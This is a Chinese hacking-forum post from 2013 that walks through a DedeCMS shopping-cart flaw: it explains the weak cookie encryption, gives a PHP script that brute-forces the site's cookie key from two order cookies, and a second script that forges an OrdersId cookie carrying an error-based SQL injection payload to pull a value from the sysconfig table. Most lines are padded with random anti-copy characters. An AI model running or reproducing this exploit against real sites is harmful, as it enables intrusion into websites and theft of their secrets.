找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2024|回复: 0
打印 上一主题 下一主题

织梦CMS漏洞dedecms漏洞SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-13 23:58:29 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
www.xxx.com/plus/search.php?keyword=1 L  O4 m. _" M& V; o; q
在 include/shopcar.class.php中2 O  U6 O1 k0 o! x: ]* o1 T$ a
先看一下这个shopcar类是如何生成cookie的
, y& I* v5 `0 l3 @- {7 l) _239      function saveCookie($key,$value)
0 J/ r2 T0 v. z  v- Z240      {' p/ r# \# I4 l5 B! L) ?
241          if(is_array($value))
: p0 Q: \* R2 ?- [/ F4 }: i242          {% o7 R/ G- U1 N- ]8 \  N. x
243              $value = $this->enCrypt($this->enCode($value));
6 |' Y5 u# [9 J' R244          }
! C& L( T, e( E0 \4 p245          else" D& t% G$ L2 n  F
246          {
& r  v; H) |; R- x% u247              $value = $this->enCrypt($value);0 X$ g7 j1 G+ g- K& h
248          }; n% b4 X. t8 W% g3 ~
249          setcookie($key,$value,time()+36000,’/');3 c  g9 k/ ^3 `) T7 k0 a7 v# P
250      }
- `# O! I- @4 \5 H) ?( I简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数
* D+ ~" Z9 ~; M. Q" ~+ h  S$ w186      function enCrypt($txt)/ v0 W. N5 w+ }1 z
187      {7 Z0 D/ v3 T4 J% J, I, \
188          srand((double)microtime() * 1000000);
  v3 b6 w, _1 J9 u7 ]/ o189          $encrypt_key = md5(rand(0, 32000));# k9 S+ F- `7 {. ]2 g
190          $ctr = 0;+ B# `0 ^$ H1 z+ i: {  X% Z( L
191          $tmp = ”;! Y3 B" {, y* c9 `& s
192          for($i = 0; $i < strlen($txt); $i++)- Q" k! C  [- [- F
193          {6 U% K2 a/ w" \, S2 r7 ~
194              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$ N3 E4 l" ]( E" K. W7 x& [: W) q195              $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);; M# F& H! L' w6 T( f5 M. C
196          }
9 t$ u0 R! M' _3 n( @197          return base64_encode($this->setKey($tmp));
5 [# Y4 W+ m) q) \) T198      }
0 v! T" i- t8 V5 n0 Y213      function setKey($txt)
$ E/ D9 R/ }: K: {214      {
* |8 a& @) z% I/ \215          global $cfg_cookie_encode;) ^5 ?& y) u6 I/ a& L/ G4 A/ _
216          $encrypt_key = md5(strtolower($cfg_cookie_encode));
$ g; b  }. h! l; S& D217          $ctr = 0;
5 o  @* m6 g' Y& T218          $tmp = ”;. T- `: {5 Z0 _" G  R5 V
219          for($i = 0; $i < strlen($txt); $i++)
7 a( Q( o, A; M1 C& L( c220          {3 ~5 P5 j& q& D' L# O
221              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
; J* n5 s) W* e9 t  X2 r  \( B222              $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
4 Z( I% N1 \  i223          }8 M$ m2 \3 ^* S+ `7 R4 O
224          return $tmp;" v/ B6 [7 E( W# [# S, D$ ^
225      }9 {6 t$ }2 ~# j
enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的
4 {( T+ w! a9 i4 N3 C% t, m然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。
. U0 C1 m. H) l+ N具体代码如下:
2 D: t8 ?, S3 t/ x4 G2 H+ C<?php
1 A5 A$ T: I5 t3 m! @" A5 r$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here5 Q9 I$ ?5 t2 ^1 u4 }
$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here3 S! d4 A! }) _4 S0 G6 ^- W7 Y* h
$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here
0 J- u4 x! S0 A3 ?function reStrCode($code,$string)4 d, I2 A9 _6 X0 _3 a, q# b. K+ J
{4 J. @/ a1 V/ U
$code = base64_decode($code);
$ H( \4 p2 t! g! a$key = “”;7 ?; K/ k$ L9 A, [& n0 b5 q- t
for($i=0 ; $i<32 ; $i++)
+ t: {5 E! g! q: a{
( J7 V  ~3 |3 L$key .= $string[$i] ^ $code[$i];9 E4 k7 [( ]  B/ h
}$ V5 v+ P; @; D& c) M5 S2 Z
return $key;: B) u  y# `8 \: A
}
9 C. d' D) {. A: Q+ X% vfunction getKeys($cookie,$plantxt)
; \7 C# x3 f# R2 e{6 o' ~& v( @! N# J
$tmp = $cookie;
' T7 i9 B* H( C9 A1 r  B' s* u$results = array();0 N+ X) {. d/ J1 B5 X! N& V
for($j=0 ; $j < 32000; $j++)6 ~1 \* P" j; O' ?6 l- q. _! e, f. X
{
0 l- J2 U, ^. X; u$ W4 a) a- S- t7 E/ E( z/ j  v
$txt = $plantxt;, p! p2 m( _4 v$ x" V: G4 G
$ctr = 0;
5 R  \! s: o. K( R, j, c& z) U$tmp = ”;
/ x5 P# b1 D; d4 u( ?$ k% E$encrypt_key = md5($j);
$ w( ~: o1 ]" Y: @7 M& ~, ~for($i =0; $i < strlen($txt); $i ++)# w; h! k. y, U2 q: ^: `
{( ?. q" A4 B/ o: z" i1 z; n) S  i
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
3 C! [8 J5 G4 H5 A- Q$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
6 J- v( f, r! C" m+ ~+ w}
/ b# @( t3 j. N; Z# t0 v3 j$string = $tmp;
  i8 x& }# j( o" {$code = $cookie;
3 a9 a8 F9 q9 V+ G- E$result = reStrCode($code,$string);
9 w) j2 q5 c& [& iif(eregi(‘^[a-z0-9]+$’,$result))1 p2 D, H7 b) W8 |, G9 y1 ^
{
# Y' V0 Y' t, D* ]' Iecho $result.”\n”;
9 Q* g* t* }( J+ z5 B$results[] = $result;& D: p2 C5 H+ l7 }* @( p6 X4 Q
}
& ?; a: u7 ~( H; L" i}
: f; |8 S, v( V8 ?$ F3 R- zreturn $results;7 a3 ~, L7 S. b( L' t7 ~* ?8 F! D
}
2 Z; x6 [; [+ C) e' B: L$ S6 S$results1 = getKeys($cookie1,$plantxt);! B8 L( @; b; H' ]/ X* [* v
$results2 = getKeys($cookie2,$plantxt);
% Q& b: o1 H0 }5 E5 l/ |5 P: |print “\n——————–real key————————–\n”;  p  n) R% |6 T* O9 r  ?9 f
foreach($results1 as $test1)6 }) }7 @9 X& x9 k; I5 _# K
{+ O' r; Z7 d' L- i+ h& f
foreach($results2 as $test2)
. K2 L  \2 _% }* v{# t# ]3 }; h$ c* f- T
if($test1 == $test2)
) V) S7 g6 C( `  E  p1 |8 J8 h{0 k' u1 N" R  D# F8 C
echo $test1.”\n”;
( {5 ]* z8 ?  W" n% F}6 Z. P; {' W. p  K4 L
}7 R6 Y* s0 s7 i! d
}2 D8 L5 X: i4 W( S6 ~. o
?>" W, w# L( `$ n/ Q5 h* _
cookie1 和 cookie2 是我下了两次订单后分别生成的cookie,
2 L$ D% C, r/ E/ A, l& c; cplantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua15 {, @  W, A% h2 L, O8 |
然后推算出md5(strtolower($cfg_cookie_encode))2 R' l8 `, G3 D) z7 l
得到这个key之后,我们就可以构造任意购物车的cookie- ^, r9 R0 R7 a" q
接着看
+ T2 I; v6 X/ X1 T% Z' [5 d( p20  class MemberShops
: h$ Q. a5 ^# f0 V21  {
5 W4 Y7 \1 {$ d6 R( g9 n; M6 y22      var $OrdersId;* x0 e& G8 R* S$ z
23      var $productsId;
9 ?8 p. u5 q. D1 ~245 x" F# a4 d# M  f+ I0 m
25      function __construct()* u5 i" v; d9 f2 {
26      {9 H$ z% K! i: V: l2 g
27          $this->OrdersId = $this->getCookie(“OrdersId”);
# p/ r2 o8 b' \( t+ E5 d" P8 }28          if(empty($this->OrdersId))) g  X3 |+ C2 e9 t
29          {6 N- v( A- p8 l  n! K
30              $this->OrdersId = $this->MakeOrders();3 S" Z! w4 s5 P1 j
31          }
- G& H9 s* G. \32      }
; m5 Q  O, V  d0 P发现OrderId是从cookie里面获取的% s! V. g4 z; \8 F) v9 S9 i6 d* {
然后8 m; L; d4 M# D  B
/plus/carbuyaction.php中的
2 o0 g/ m0 y( ]: i6 }/ c29      $cart    = new MemberShops();
2 a, m" a2 a! }2 |, Q7 u39      $OrdersId = $cart->OrdersId;        //本次记录的订单号2 n) I2 k8 W! }; L; d3 D
……
' c$ j0 J5 Q% S173          $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);
; O$ g. z8 J* g! u2 S接着我们就可以注入了
% c( N8 s3 L1 I  j4 l  @通过利用下面代码生成cookie:2 C6 V( `! ^0 ]4 B% l1 z$ ^
<?php( m$ o" Z8 G- L: i7 E+ e
$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;
* J# ^1 \7 H6 l4 \$encrypt_key = “9f09293b7419ed68448fb51d5b174834″;   // here is the key, please change here: ]6 [) d( O, j% B
function setKey($txt)
9 _$ R( k0 d; [- m7 r. W% B& Y2 W3 ]{( @* @$ ~0 R3 ?6 o! ]
global $encrypt_key;5 A! e: \% M0 `- \! K5 o' ^" r
$ctr = 0;* A. L" Q( F# u" h  J
$tmp = ”;
5 U7 |& j6 y8 ~0 y; @for($i = 0; $i < strlen($txt); $i++)
" ~5 z, x; j6 y* F{
3 a# n0 W" t9 j0 o$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;  m. W4 V. f# n7 w& ^
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
6 q  Y- f1 n0 x* u7 l$ q5 [; U3 D9 n2 R. O}
# Q! @8 _8 I* b* J' K" \! breturn $tmp;% x6 X6 X) k, {( e
}
7 r" b' l7 p: tfunction enCrypt($txt)$ A$ \3 K1 V: E# j" o- o
{' ~0 W6 t! d4 V* u( ~+ E. T' C
srand((double)microtime() * 1000000);
3 H5 u8 ^4 R3 ~$encrypt_key = md5(rand(0, 32000));
! a: X8 m! \$ P  b$ctr = 0;
0 ]4 }' |: h9 a8 ?# P' H$tmp = ”;# z' j9 O3 y$ E; S
for($i = 0; $i < strlen($txt); $i++)
( U/ ]/ K/ o$ Z( `- h{  g, ]8 k! k. {9 Q2 M: q: s
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;+ |3 t0 {( Y( |" m9 l' h
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
; \) {  }& e+ z' X$ y}
7 V# T. ]0 t# E; e8 z# ~- [return base64_encode(setKey($tmp));
: P8 n& W  U, t3 J7 O. A- T6 d}: o: b# _3 C' b" r6 \
for($dest =0;$dest = enCrypt($txt);)- W/ z& g* s& a: N: o" Y+ h
{2 Q' J0 d/ H& o" @8 A& m
if(!strpos($dest,’+'))0 K4 A) Y3 l4 ]7 a! V
{
; O8 ?/ U5 b9 U- O$ f) r9 N% \break;) G+ E) O6 E) d: i, J0 w
}+ \" b" R' o9 N( u
}
' m% h# ]/ O3 e4 ~& hecho $dest.”\n”;% b! ]2 ?/ t; T4 B
?>: l% l+ g6 g0 w! I% D
1 C  ]0 M8 E) [6 Z# H! h1 P# |
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表